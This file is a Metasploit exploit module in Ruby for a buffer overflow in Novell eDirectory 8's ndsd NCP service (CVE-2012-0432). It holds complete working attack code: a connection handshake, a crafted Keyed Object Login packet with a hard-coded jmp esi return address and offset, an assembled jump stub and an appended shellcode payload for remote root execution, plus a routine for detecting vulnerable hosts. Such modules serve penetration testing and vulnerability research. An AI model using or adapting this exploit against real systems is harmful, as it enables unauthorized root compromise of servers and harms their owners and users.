##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'            => 'Novell eDirectory 8 Buffer Overflow',
			'Description'     => %q{
					This exploit abuses a buffer overflow vulnerability in Novell eDirectory. The
				vulnerability exists in the ndsd daemon, specifically in the NCP service, while
				parsing a specially crafted Keyed Object Login request. It allows remote code
				execution with root privileges.
			},
			'Author'          =>
				[
					'David Klein', # Vulnerability Discovery
					'Gary Nilson', # Exploit
					'juan vazquez' # Metasploit module
				],
			'References'      =>
				[
					[ 'CVE', '2012-0432'],
					[ 'OSVDB', '88718'],
					[ 'BID', '57038' ],
					[ 'EDB', '24205' ],
					[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=3426981' ],
					[ 'URL', 'http://seclists.org/fulldisclosure/2013/Jan/97' ]
				],
			'DisclosureDate'  => 'Dec 12 2012',
			'Platform'        => 'linux',
			'Privileged'      => true,
			'Arch'            => ARCH_X86,
			'Payload'         =>
				{

				},
			'Targets'         =>
				[
					[ 'Novell eDirectory 8.8.7 v20701.33/ SLES 10 SP3',
						{
							'Ret' => 0x080a4697, # jmp esi from ndsd
							'Offset' => 58
						}
					]
				],
			'DefaultTarget'   => 0
		))

		register_options([Opt::RPORT(524),], self.class)
	end

	def check
		connect
		sock.put(connection_request)
		res = sock.get
		disconnect
		if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0
			# res[8,2] => Reply Type
			# res[15,1] => Connection Status
			return Exploit::CheckCode::Safe
		end
		return Exploit::CheckCode::Detected
	end

	def connection_request
		pkt =  "\x44\x6d\x64\x54" # NCP TCP id
		pkt << "\x00\x00\x00\x17" # request_size
		pkt << "\x00\x00\x00\x01" # version
		pkt << "\x00\x00\x00\x00" # reply buffer size
		pkt << "\x11\x11"         # cmd => create service connection
		pkt << "\x00"             # sequence number
		pkt << "\x00"             # connection number
		pkt << "\x00"             # task number
		pkt << "\x00"             # reserved
		pkt << "\x00"             # request code

		return pkt
	end

	def exploit

		connect

		print_status("Sending Service Connection Request...")
		sock.put(connection_request)
		res = sock.get
		if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0
			# res[8,2] => Reply Type
			# res[15,1] => Connection Status
			fail_with(Exploit::Failure::UnexpectedReply, "Service Connection failed")
		end
		print_good("Service Connection successful")

		pkt = "\x44\x6d\x64\x54"  # NCP TCP id
		pkt << "\x00\x00\x00\x00" # request_size (filled later)
		pkt << "\x00\x00\x00\x01" # version (1)
		pkt << "\x00\x00\x00\x05" # reply buffer size
		pkt << "\x22\x22"         # cmd
		pkt << "\x01"             # sequence number
		pkt << res[11]            # connection number
		pkt << "\x00"             # task number
		pkt << "\x00"             # reserved
		pkt << "\x17"             # Login Object FunctionCode (23)
		pkt << "\x00\xa7"         # SubFuncStrucLen
		pkt << "\x18"             # SubFunctionCode
		pkt << "\x90\x90"         # object type
		pkt << "\x50"             # ClientNameLen
		pkt << rand_text(7)
		jmp_payload = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{target['Offset'] + 4}").encode_string
		pkt << jmp_payload # first byte is the memcpy length, must be bigger than 62 to to overwrite EIP
		pkt << rand_text(target['Offset'] - jmp_payload.length)
		pkt << [target.ret].pack("V")
		pkt << payload.encoded

		pkt[4,4] = [pkt.length].pack("N")

		print_status("Sending Overflow on Keyed Object Login...")
		sock.put(pkt)
		sock.get
		disconnect
	end

end
